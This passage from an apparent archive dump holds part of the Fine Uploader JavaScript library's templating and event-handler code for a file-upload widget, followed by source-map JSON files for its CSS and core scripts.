            if (tempTemplateEl.getElementsByTagName("DIALOG").length) {
                document.createElement("dialog");
            }
            log("Template parsing complete");
            return {
                template: qq.trimStr(tempTemplateEl.innerHTML),
                fileTemplate: qq.trimStr(fileListHtml)
            };
        }, prependFile = function(el, index, fileList) {
            var parentEl = fileList, beforeEl = parentEl.firstChild;
            if (index > 0) {
                beforeEl = qq(parentEl).children()[index].nextSibling;
            }
            parentEl.insertBefore(el, beforeEl);
        }, processNewQueuedPreviewRequest = function(queuedThumbRequest) {
            var id = queuedThumbRequest.id, optFileOrBlob = queuedThumbRequest.optFileOrBlob, relatedThumbnailId = optFileOrBlob && optFileOrBlob.qqThumbnailId, thumbnail = getThumbnail(id), spec = {
                customResizeFunction: queuedThumbRequest.customResizeFunction,
                maxSize: thumbnailMaxSize,
                orient: true,
                scale: true
            };
            if (qq.supportedFeatures.imagePreviews) {
                if (thumbnail) {
                    if (options.limits.maxThumbs && options.limits.maxThumbs <= generatedThumbnails) {
                        maybeSetDisplayNotAvailableImg(id, thumbnail);
                        generateNextQueuedPreview();
                    } else {
                        displayWaitingImg(thumbnail).done(function() {
                            previewGeneration[id] = new qq.Promise();
                            previewGeneration[id].done(function() {
                                setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);
                            });
                            if (relatedThumbnailId != null) {
                                useCachedPreview(id, relatedThumbnailId);
                            } else {
                                generateNewPreview(id, optFileOrBlob, spec);
                            }
                        });
                    }
                } else {
                    generateNextQueuedPreview();
                }
            } else if (thumbnail) {
                displayWaitingImg(thumbnail);
                generateNextQueuedPreview();
            }
        }, processUpdateQueuedPreviewRequest = function(queuedThumbRequest) {
            var id = queuedThumbRequest.id, thumbnailUrl = queuedThumbRequest.thumbnailUrl, showWaitingImg = queuedThumbRequest.showWaitingImg, thumbnail = getThumbnail(id), spec = {
                customResizeFunction: queuedThumbRequest.customResizeFunction,
                scale: serverScale,
                maxSize: thumbnailMaxSize
            };
            if (thumbnail) {
                if (thumbnailUrl) {
                    if (options.limits.maxThumbs && options.limits.maxThumbs <= generatedThumbnails) {
                        maybeSetDisplayNotAvailableImg(id, thumbnail);
                        generateNextQueuedPreview();
                    } else {
                        if (showWaitingImg) {
                            displayWaitingImg(thumbnail);
                        }
                        return options.imageGenerator.generate(thumbnailUrl, thumbnail, spec).then(function() {
                            show(thumbnail);
                            generatedThumbnails++;
                            setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);
                        }, function() {
                            maybeSetDisplayNotAvailableImg(id, thumbnail);
                            setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);
                        });
                    }
                } else {
                    maybeSetDisplayNotAvailableImg(id, thumbnail);
                    generateNextQueuedPreview();
                }
            }
        }, setProgressBarWidth = function(id, percent) {
            var bar = getProgress(id), progressBarSelector = id == null ? selectorClasses.totalProgressBar : selectorClasses.progressBar;
            if (bar && !qq(bar).hasClass(progressBarSelector)) {
                bar = qq(bar).getFirstByClass(progressBarSelector);
            }
            if (bar) {
                qq(bar).css({
                    width: percent + "%"
                });
                bar.setAttribute("aria-valuenow", percent);
            }
        }, show = function(el) {
            el && qq(el).removeClass(options.classes.hide);
        }, useCachedPreview = function(targetThumbnailId, cachedThumbnailId) {
            var targetThumbnail = getThumbnail(targetThumbnailId), cachedThumbnail = getThumbnail(cachedThumbnailId);
            log(qq.format("ID {} is the same file as ID {}.  Will use generated thumbnail from ID {} instead.", targetThumbnailId, cachedThumbnailId, cachedThumbnailId));
            previewGeneration[cachedThumbnailId].then(function() {
                generatedThumbnails++;
                previewGeneration[targetThumbnailId].success();
                log(qq.format("Now using previously generated thumbnail created for ID {} on ID {}.", cachedThumbnailId, targetThumbnailId));
                targetThumbnail.src = cachedThumbnail.src;
                show(targetThumbnail);
            }, function() {
                previewGeneration[targetThumbnailId].failure();
                if (!options.placeholders.waitUntilUpdate) {
                    maybeSetDisplayNotAvailableImg(targetThumbnailId, targetThumbnail);
                }
            });
        };
        qq.extend(options, spec);
        log = options.log;
        if (!qq.supportedFeatures.imagePreviews) {
            options.limits.timeBetweenThumbs = 0;
            options.limits.maxThumbs = 0;
        }
        container = options.containerEl;
        showThumbnails = options.imageGenerator !== undefined;
        templateHtml = parseAndGetTemplate();
        cacheThumbnailPlaceholders();
        qq.extend(this, {
            render: function() {
                log("Rendering template in DOM.");
                generatedThumbnails = 0;
                container.innerHTML = templateHtml.template;
                hide(getDropProcessing());
                this.hideTotalProgress();
                fileList = options.fileContainerEl || getTemplateEl(container, selectorClasses.list);
                log("Template rendering complete");
            },
            renderFailure: function(message) {
                var cantRenderEl = qq.toElement(message);
                container.innerHTML = "";
                container.appendChild(cantRenderEl);
            },
            reset: function() {
                this.render();
            },
            clearFiles: function() {
                fileList.innerHTML = "";
            },
            disableCancel: function() {
                isCancelDisabled = true;
            },
            addFile: function(id, name, prependInfo, hideForever, batch) {
                var fileEl = qq.toElement(templateHtml.fileTemplate), fileNameEl = getTemplateEl(fileEl, selectorClasses.file), uploaderEl = getTemplateEl(container, selectorClasses.uploader), fileContainer = batch ? fileBatch.content : fileList, thumb;
                if (batch) {
                    fileBatch.map[id] = fileEl;
                }
                qq(fileEl).addClass(FILE_CLASS_PREFIX + id);
                uploaderEl.removeAttribute(DROPZPONE_TEXT_ATTR);
                if (fileNameEl) {
                    qq(fileNameEl).setText(name);
                    fileNameEl.setAttribute("title", name);
                }
                fileEl.setAttribute(FILE_ID_ATTR, id);
                if (prependInfo) {
                    prependFile(fileEl, prependInfo.index, fileContainer);
                } else {
                    fileContainer.appendChild(fileEl);
                }
                if (hideForever) {
                    fileEl.style.display = "none";
                    qq(fileEl).addClass(HIDDEN_FOREVER_CLASS);
                } else {
                    hide(getProgress(id));
                    hide(getSize(id));
                    hide(getDelete(id));
                    hide(getRetry(id));
                    hide(getPause(id));
                    hide(getContinue(id));
                    if (isCancelDisabled) {
                        this.hideCancel(id);
                    }
                    thumb = getThumbnail(id);
                    if (thumb && !thumb.src) {
                        cachedWaitingForThumbnailImg.then(function(waitingImg) {
                            thumb.src = waitingImg.src;
                            if (waitingImg.style.maxHeight && waitingImg.style.maxWidth) {
                                qq(thumb).css({
                                    maxHeight: waitingImg.style.maxHeight,
                                    maxWidth: waitingImg.style.maxWidth
                                });
                            }
                            show(thumb);
                        });
                    }
                }
            },
            addFileToCache: function(id, name, prependInfo, hideForever) {
                this.addFile(id, name, prependInfo, hideForever, true);
            },
            addCacheToDom: function() {
                fileList.appendChild(fileBatch.content);
                fileBatch.content = document.createDocumentFragment();
                fileBatch.map = {};
            },
            removeFile: function(id) {
                qq(getFile(id)).remove();
            },
            getFileId: function(el) {
                var currentNode = el;
                if (currentNode) {
                    while (currentNode.getAttribute(FILE_ID_ATTR) == null) {
                        currentNode = currentNode.parentNode;
                    }
                    return parseInt(currentNode.getAttribute(FILE_ID_ATTR));
                }
            },
            getFileList: function() {
                return fileList;
            },
            markFilenameEditable: function(id) {
                var filename = getFilename(id);
                filename && qq(filename).addClass(options.classes.editable);
            },
            updateFilename: function(id, name) {
                var filenameEl = getFilename(id);
                if (filenameEl) {
                    qq(filenameEl).setText(name);
                    filenameEl.setAttribute("title", name);
                }
            },
            hideFilename: function(id) {
                hide(getFilename(id));
            },
            showFilename: function(id) {
                show(getFilename(id));
            },
            isFileName: function(el) {
                return qq(el).hasClass(selectorClasses.file);
            },
            getButton: function() {
                return options.button || getTemplateEl(container, selectorClasses.button);
            },
            hideDropProcessing: function() {
                hide(getDropProcessing());
            },
            showDropProcessing: function() {
                show(getDropProcessing());
            },
            getDropZone: function() {
                return getTemplateEl(container, selectorClasses.drop);
            },
            isEditFilenamePossible: function() {
                return isEditElementsExist;
            },
            hideRetry: function(id) {
                hide(getRetry(id));
            },
            isRetryPossible: function() {
                return isRetryElementExist;
            },
            showRetry: function(id) {
                show(getRetry(id));
            },
            getFileContainer: function(id) {
                return getFile(id);
            },
            showEditIcon: function(id) {
                var icon = getEditIcon(id);
                icon && qq(icon).addClass(options.classes.editable);
            },
            isHiddenForever: function(id) {
                return qq(getFile(id)).hasClass(HIDDEN_FOREVER_CLASS);
            },
            hideEditIcon: function(id) {
                var icon = getEditIcon(id);
                icon && qq(icon).removeClass(options.classes.editable);
            },
            isEditIcon: function(el) {
                return qq(el).hasClass(selectorClasses.editNameIcon, true);
            },
            getEditInput: function(id) {
                return getTemplateEl(getFile(id), selectorClasses.editFilenameInput);
            },
            isEditInput: function(el) {
                return qq(el).hasClass(selectorClasses.editFilenameInput, true);
            },
            updateProgress: function(id, loaded, total) {
                var bar = getProgress(id), percent;
                if (bar && total > 0) {
                    percent = Math.round(loaded / total * 100);
                    if (percent === 100) {
                        hide(bar);
                    } else {
                        show(bar);
                    }
                    setProgressBarWidth(id, percent);
                }
            },
            updateTotalProgress: function(loaded, total) {
                this.updateProgress(null, loaded, total);
            },
            hideProgress: function(id) {
                var bar = getProgress(id);
                bar && hide(bar);
            },
            hideTotalProgress: function() {
                this.hideProgress();
            },
            resetProgress: function(id) {
                setProgressBarWidth(id, 0);
                this.hideTotalProgress(id);
            },
            resetTotalProgress: function() {
                this.resetProgress();
            },
            showCancel: function(id) {
                if (!isCancelDisabled) {
                    var cancel = getCancel(id);
                    cancel && qq(cancel).removeClass(options.classes.hide);
                }
            },
            hideCancel: function(id) {
                hide(getCancel(id));
            },
            isCancel: function(el) {
                return qq(el).hasClass(selectorClasses.cancel, true);
            },
            allowPause: function(id) {
                show(getPause(id));
                hide(getContinue(id));
            },
            uploadPaused: function(id) {
                this.setStatusText(id, options.text.paused);
                this.allowContinueButton(id);
                hide(getSpinner(id));
            },
            hidePause: function(id) {
                hide(getPause(id));
            },
            isPause: function(el) {
                return qq(el).hasClass(selectorClasses.pause, true);
            },
            isContinueButton: function(el) {
                return qq(el).hasClass(selectorClasses.continueButton, true);
            },
            allowContinueButton: function(id) {
                show(getContinue(id));
                hide(getPause(id));
            },
            uploadContinued: function(id) {
                this.setStatusText(id, "");
                this.allowPause(id);
                show(getSpinner(id));
            },
            showDeleteButton: function(id) {
                show(getDelete(id));
            },
            hideDeleteButton: function(id) {
                hide(getDelete(id));
            },
            isDeleteButton: function(el) {
                return qq(el).hasClass(selectorClasses.deleteButton, true);
            },
            isRetry: function(el) {
                return qq(el).hasClass(selectorClasses.retry, true);
            },
            updateSize: function(id, text) {
                var size = getSize(id);
                if (size) {
                    show(size);
                    qq(size).setText(text);
                }
            },
            setStatusText: function(id, text) {
                var textEl = getTemplateEl(getFile(id), selectorClasses.statusText);
                if (textEl) {
                    if (text == null) {
                        qq(textEl).clearText();
                    } else {
                        qq(textEl).setText(text);
                    }
                }
            },
            hideSpinner: function(id) {
                qq(getFile(id)).removeClass(IN_PROGRESS_CLASS);
                hide(getSpinner(id));
            },
            showSpinner: function(id) {
                qq(getFile(id)).addClass(IN_PROGRESS_CLASS);
                show(getSpinner(id));
            },
            generatePreview: function(id, optFileOrBlob, customResizeFunction) {
                if (!this.isHiddenForever(id)) {
                    thumbGenerationQueue.push({
                        id: id,
                        customResizeFunction: customResizeFunction,
                        optFileOrBlob: optFileOrBlob
                    });
                    !thumbnailQueueMonitorRunning && generateNextQueuedPreview();
                }
            },
            updateThumbnail: function(id, thumbnailUrl, showWaitingImg, customResizeFunction) {
                if (!this.isHiddenForever(id)) {
                    thumbGenerationQueue.push({
                        customResizeFunction: customResizeFunction,
                        update: true,
                        id: id,
                        thumbnailUrl: thumbnailUrl,
                        showWaitingImg: showWaitingImg
                    });
                    !thumbnailQueueMonitorRunning && generateNextQueuedPreview();
                }
            },
            hasDialog: function(type) {
                return qq.supportedFeatures.dialogElement && !!getDialog(type);
            },
            showDialog: function(type, message, defaultValue) {
                var dialog = getDialog(type), messageEl = getTemplateEl(dialog, selectorClasses.dialogMessage), inputEl = dialog.getElementsByTagName("INPUT")[0], cancelBtn = getTemplateEl(dialog, selectorClasses.dialogCancelButton), okBtn = getTemplateEl(dialog, selectorClasses.dialogOkButton), promise = new qq.Promise(), closeHandler = function() {
                    cancelBtn.removeEventListener("click", cancelClickHandler);
                    okBtn && okBtn.removeEventListener("click", okClickHandler);
                    promise.failure();
                }, cancelClickHandler = function() {
                    cancelBtn.removeEventListener("click", cancelClickHandler);
                    dialog.close();
                }, okClickHandler = function() {
                    dialog.removeEventListener("close", closeHandler);
                    okBtn.removeEventListener("click", okClickHandler);
                    dialog.close();
                    promise.success(inputEl && inputEl.value);
                };
                dialog.addEventListener("close", closeHandler);
                cancelBtn.addEventListener("click", cancelClickHandler);
                okBtn && okBtn.addEventListener("click", okClickHandler);
                if (inputEl) {
                    inputEl.value = defaultValue;
                }
                messageEl.textContent = message;
                dialog.showModal();
                return promise;
            }
        });
    };
    qq.UiEventHandler = function(s, protectedApi) {
        "use strict";
        var disposer = new qq.DisposeSupport(), spec = {
            eventType: "click",
            attachTo: null,
            onHandled: function(target, event) {}
        };
        qq.extend(this, {
            addHandler: function(element) {
                addHandler(element);
            },
            dispose: function() {
                disposer.dispose();
            }
        });
        function addHandler(element) {
            disposer.attach(element, spec.eventType, function(event) {
                event = event || window.event;
                var target = event.target || event.srcElement;
                spec.onHandled(target, event);
            });
        }
        qq.extend(protectedApi, {
            getFileIdFromItem: function(item) {
                return item.qqFileId;
            },
            getDisposeSupport: function() {
                return disposer;
            }
        });
        qq.extend(spec, s);
        if (spec.attachTo) {
            addHandler(spec.attachTo);
        }
    };
    qq.FileButtonsClickHandler = function(s) {
        "use strict";
        var inheritedInternalApi = {}, spec = {
            templating: null,
            log: function(message, lvl) {},
            onDeleteFile: function(fileId) {},
            onCancel: function(fileId) {},
            onRetry: function(fileId) {},
            onPause: function(fileId) {},
            onContinue: function(fileId) {},
            onGetName: function(fileId) {}
        }, buttonHandlers = {
            cancel: function(id) {
                spec.onCancel(id);
            },
            retry: function(id) {
                spec.onRetry(id);
            },
            deleteButton: function(id) {
                spec.onDeleteFile(id);
            },
            pause: function(id) {
                spec.onPause(id);
            },
            continueButton: function(id) {
                spec.onContinue(id);
            }
        };
        function examineEvent(target, event) {
            qq.each(buttonHandlers, function(buttonType, handler) {
                var firstLetterCapButtonType = buttonType.charAt(0).toUpperCase() + buttonType.slice(1), fileId;
                if (spec.templating["is" + firstLetterCapButtonType](target)) {
                    fileId = spec.templating.getFileId(target);
                    qq.preventDefault(event);
                    spec.log(qq.format("Detected valid file button click event on file '{}', ID: {}.", spec.onGetName(fileId), fileId));
                    handler(fileId);
                    return false;
                }
            });
        }
        qq.extend(spec, s);
        spec.eventType = "click";
        spec.onHandled = examineEvent;
        spec.attachTo = spec.templating.getFileList();
        qq.extend(this, new qq.UiEventHandler(spec, inheritedInternalApi));
    };
    qq.FilenameClickHandler = function(s) {
        "use strict";
        var inheritedInternalApi = {}, spec = {
            templating: null,
            log: function(message, lvl) {},
            classes: {
                file: "qq-upload-file",
                editNameIcon: "qq-edit-filename-icon"
            },
            onGetUploadStatus: function(fileId) {},
            onGetName: function(fileId) {}
        };
        qq.extend(spec, s);
        function examineEvent(target, event) {
            if (spec.templating.isFileName(target) || spec.templating.isEditIcon(target)) {
                var fileId = spec.templating.getFileId(target), status = spec.onGetUploadStatus(fileId);
                if (status === qq.status.SUBMITTED) {
                    spec.log(qq.format("Detected valid filename click event on file '{}', ID: {}.", spec.onGetName(fileId), fileId));
                    qq.preventDefault(event);
                    inheritedInternalApi.handleFilenameEdit(fileId, target, true);
                }
            }
        }
        spec.eventType = "click";
        spec.onHandled = examineEvent;
        qq.extend(this, new qq.FilenameEditHandler(spec, inheritedInternalApi));
    };
    qq.FilenameInputFocusInHandler = function(s, inheritedInternalApi) {
        "use strict";
        var spec = {
            templating: null,
            onGetUploadStatus: function(fileId) {},
            log: function(message, lvl) {}
        };
        if (!inheritedInternalApi) {
            inheritedInternalApi = {};
        }
        function handleInputFocus(target, event) {
            if (spec.templating.isEditInput(target)) {
                var fileId = spec.templating.getFileId(target), status = spec.onGetUploadStatus(fileId);
                if (status === qq.status.SUBMITTED) {
                    spec.log(qq.format("Detected valid filename input focus event on file '{}', ID: {}.", spec.onGetName(fileId), fileId));
                    inheritedInternalApi.handleFilenameEdit(fileId, target);
                }
            }
        }
        spec.eventType = "focusin";
        spec.onHandled = handleInputFocus;
        qq.extend(spec, s);
        qq.extend(this, new qq.FilenameEditHandler(spec, inheritedInternalApi));
    };
    qq.FilenameInputFocusHandler = function(spec) {
        "use strict";
        spec.eventType = "focus";
        spec.attachTo = null;
        qq.extend(this, new qq.FilenameInputFocusInHandler(spec, {}));
    };
    qq.FilenameEditHandler = function(s, inheritedInternalApi) {
        "use strict";
        var spec = {
            templating: null,
            log: function(message, lvl) {},
            onGetUploadStatus: function(fileId) {},
            onGetName: function(fileId) {},
            onSetName: function(fileId, newName) {},
            onEditingStatusChange: function(fileId, isEditing) {}
        };
        function getFilenameSansExtension(fileId) {
            var filenameSansExt = spec.onGetName(fileId), extIdx = filenameSansExt.lastIndexOf(".");
            if (extIdx > 0) {
                filenameSansExt = filenameSansExt.substr(0, extIdx);
            }
            return filenameSansExt;
        }
        function getOriginalExtension(fileId) {
            var origName = spec.onGetName(fileId);
            return qq.getExtension(origName);
        }
        function handleNameUpdate(newFilenameInputEl, fileId) {
            var newName = newFilenameInputEl.value, origExtension;
            if (newName !== undefined && qq.trimStr(newName).length > 0) {
                origExtension = getOriginalExtension(fileId);
                if (origExtension !== undefined) {
                    newName = newName + "." + origExtension;
                }
                spec.onSetName(fileId, newName);
            }
            spec.onEditingStatusChange(fileId, false);
        }
        function registerInputBlurHandler(inputEl, fileId) {
            inheritedInternalApi.getDisposeSupport().attach(inputEl, "blur", function() {
                handleNameUpdate(inputEl, fileId);
            });
        }
        function registerInputEnterKeyHandler(inputEl, fileId) {
            inheritedInternalApi.getDisposeSupport().attach(inputEl, "keyup", function(event) {
                var code = event.keyCode || event.which;
                if (code === 13) {
                    handleNameUpdate(inputEl, fileId);
                }
            });
        }
        qq.extend(spec, s);
        spec.attachTo = spec.templating.getFileList();
        qq.extend(this, new qq.UiEventHandler(spec, inheritedInternalApi));
        qq.extend(inheritedInternalApi, {
            handleFilenameEdit: function(id, target, focusInput) {
                var newFilenameInputEl = spec.templating.getEditInput(id);
                spec.onEditingStatusChange(id, true);
                newFilenameInputEl.value = getFilenameSansExtension(id);
                if (focusInput) {
                    newFilenameInputEl.focus();
                }
                registerInputBlurHandler(newFilenameInputEl, id);
                registerInputEnterKeyHandler(newFilenameInputEl, id);
            }
        });
    };
})(window);
//# sourceMappingURL=fine-uploader.js.mapjs/fileupload/fine-uploader-gallery.min.css.map000060400000006710150710775200015547 0ustar00{"version":3,"sources":["_build/fine-uploader-gallery.css"],"names":[],"mappings":"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"}js/fileupload/fine-uploader.core.js.map000060400001607050150710775200014110 0ustar00{"version":3,"sources":["?","../client/js/util.js","../client/js/export.js","../client/js/error/error.js","../client/js/version.js","../client/js/features.js","../client/js/promise.js","../client/js/blob-proxy.js","../client/js/button.js","../client/js/upload-data.js","../client/js/uploader.basic.api.js","../client/js/uploader.basic.js","../client/js/ajax.requester.js","../client/js/upload-handler/upload.handler.js","../client/js/upload-handler/upload.handler.controller.js","../client/js/window.receive.message.js","../client/js/upload-handler/form.upload.handler.js","../client/js/upload-handler/xhr.upload.handler.js","../client/js/deletefile.ajax.requester.js","../client/js/image-support/megapix-image.js","../client/js/image-support/image.js","../client/js/image-support/exif.js","../client/js/identify.js","../client/js/image-support/validation.image.js","../client/js/session.js","../client/js/session.ajax.requester.js","../client/js/image-support/scaler.js","../client/js/third-party/ExifRestorer.js","../client/js/total-progress.js","../client/js/paste.js","../client/js/form-support.js","../client/js/traditional/traditional.form.upload.handler.js","../client/js/traditional/traditional.xhr.upload.handler.js","../client/js/traditional/all-chunks-done.ajax.requester.js"],"names":["global","qq","element","hide","style","display","this","attach","type","fn","addEventListener","attachEvent","detach","removeEventListener","detachEvent","contains","descendant","compareDocumentPosition","insertBefore","elementB","parentNode","remove","removeChild","css","styles","Error","opacity","filter","Math","round","extend","hasClass","name","considerParent","re","RegExp","test","className","addClass","removeClass","replace","getByClass","first","candidates","result","querySelector","querySelectorAll","getElementsByTagName","each","idx","val","push","getFirstByClass","children","child","firstChild","nodeType","nextSibling","setText","text","innerText","textContent","clearText","hasAttribute","attrName","attrVal","exec","getAttribute","undefined","canvasToBlob","canvas","mime","quality","dataUriToBlob","toDataURL","dataUri","arrayBuffer","byteString","createBlob","data","BlobBuilder","window","WebKitBlobBuilder","MozBlobBuilder","MSBlobBuilder","blobBuilder","append","getBlob","Blob","intArray","mimeString","split","indexOf","atob","decodeURI","ArrayBuffer","length","Uint8Array","character","charCodeAt","log","message","level","console","isObject","variable","Object","prototype","toString","call","isFunction","isArray","value","buffer","constructor","isItemList","maybeItemList","isNodeList","maybeNodeList","item","namedItem","isString","maybeString","trimStr","string","String","trim","format","str","args","Array","slice","arguments","newStr","nextIdxToReplace","strBefore","substring","strAfter","isFile","maybeFile","File","isFileList","maybeFileList","FileList","isFileOrInput","maybeFileOrInput","isInput","maybeInput","notFile","evaluateType","normalizedType","toLowerCase","HTMLInputElement","tagName","isBlob","maybeBlob","isXhrUploadSupported","input","document","createElement","multiple","FormData","createXhrInstance","upload","XMLHttpRequest","ActiveXObject","error","isFolderDropSupported","dataTransfer","items","webkitGetAsEntry","isFileChunkingSupported","androidStock","webkitSlice","mozSlice","sliceBlob","fileOrBlob","start","end","slicer","arrayBufferToHex","bytesAsHex","bytes","byt","byteAsHexStr","readBlobToHex","blob","startOffset","initialBlob","fileReader","FileReader","promise","Promise","onload","success","onerror","failure","readAsArrayBuffer","second","extendNested","prop","override","target","sourceFn","super_","source","srcPropName","srcPropVal","arr","elt","from","len","hasOwnProperty","getUniqueId","c","r","random","v","ie","navigator","userAgent","ie7","ie8","ie10","ie11","edge","safari","vendor","chrome","opera","firefox","windows","platform","android","ios6","ios","ios7","ios8","ios800","iosChrome","iosSafari","iosSafariWebView","preventDefault","e","returnValue","toElement","div","html","innerHTML","iterableItem","callback","keyOrIndex","retVal","Storage","key","getItem","charAt","bind","oldFunc","context","newArgs","concat","apply","obj2url","obj","temp","prefixDone","uristrings","prefix","add","nextObj","i","nextTemp","encodeURIComponent","join","obj2FormData","formData","arrayKeyName","obj2Inputs","form","setAttribute","appendChild","parseJson","json","JSON","parse","eval","getExtension","filename","extIdx","lastIndexOf","substr","getFilename","blobOrFileInput","fileName","DisposeSupport","disposers","dispose","disposer","shift","addDisposer","disposeFunction","define","amd","module","exports","version","supportedFeatures","supportsUploading","supportsUploadingBlobs","supportsFileDrop","supportsAjaxFileUploading","supportsFolderDrop","supportsChunking","supportsResume","supportsUploadViaPaste","supportsUploadCors","supportsDeleteFileXdr","supportsDeleteFileCorsXhr","supportsDeleteFileCors","supportsFolderSelection","supportsImagePreviews","supportsUploadProgress","testSupportsFileInputElement","supported","tempInput","disabled","ex","isChrome21OrHigher","match","isChrome14OrHigher","isCrossOriginXhrSupported","xhr","withCredentials","isXdrSupported","XDomainRequest","isCrossOriginAjaxSupported","isFolderSelectionSupported","webkitdirectory","isLocalStorageSupported","localStorage","setItem","isDragAndDropSupported","span","postMessage","ajaxUploading","blobUploading","canDetermineSize","chunking","deleteFileCors","deleteFileCorsXdr","deleteFileCorsXhr","dialogElement","HTMLDialogElement","fil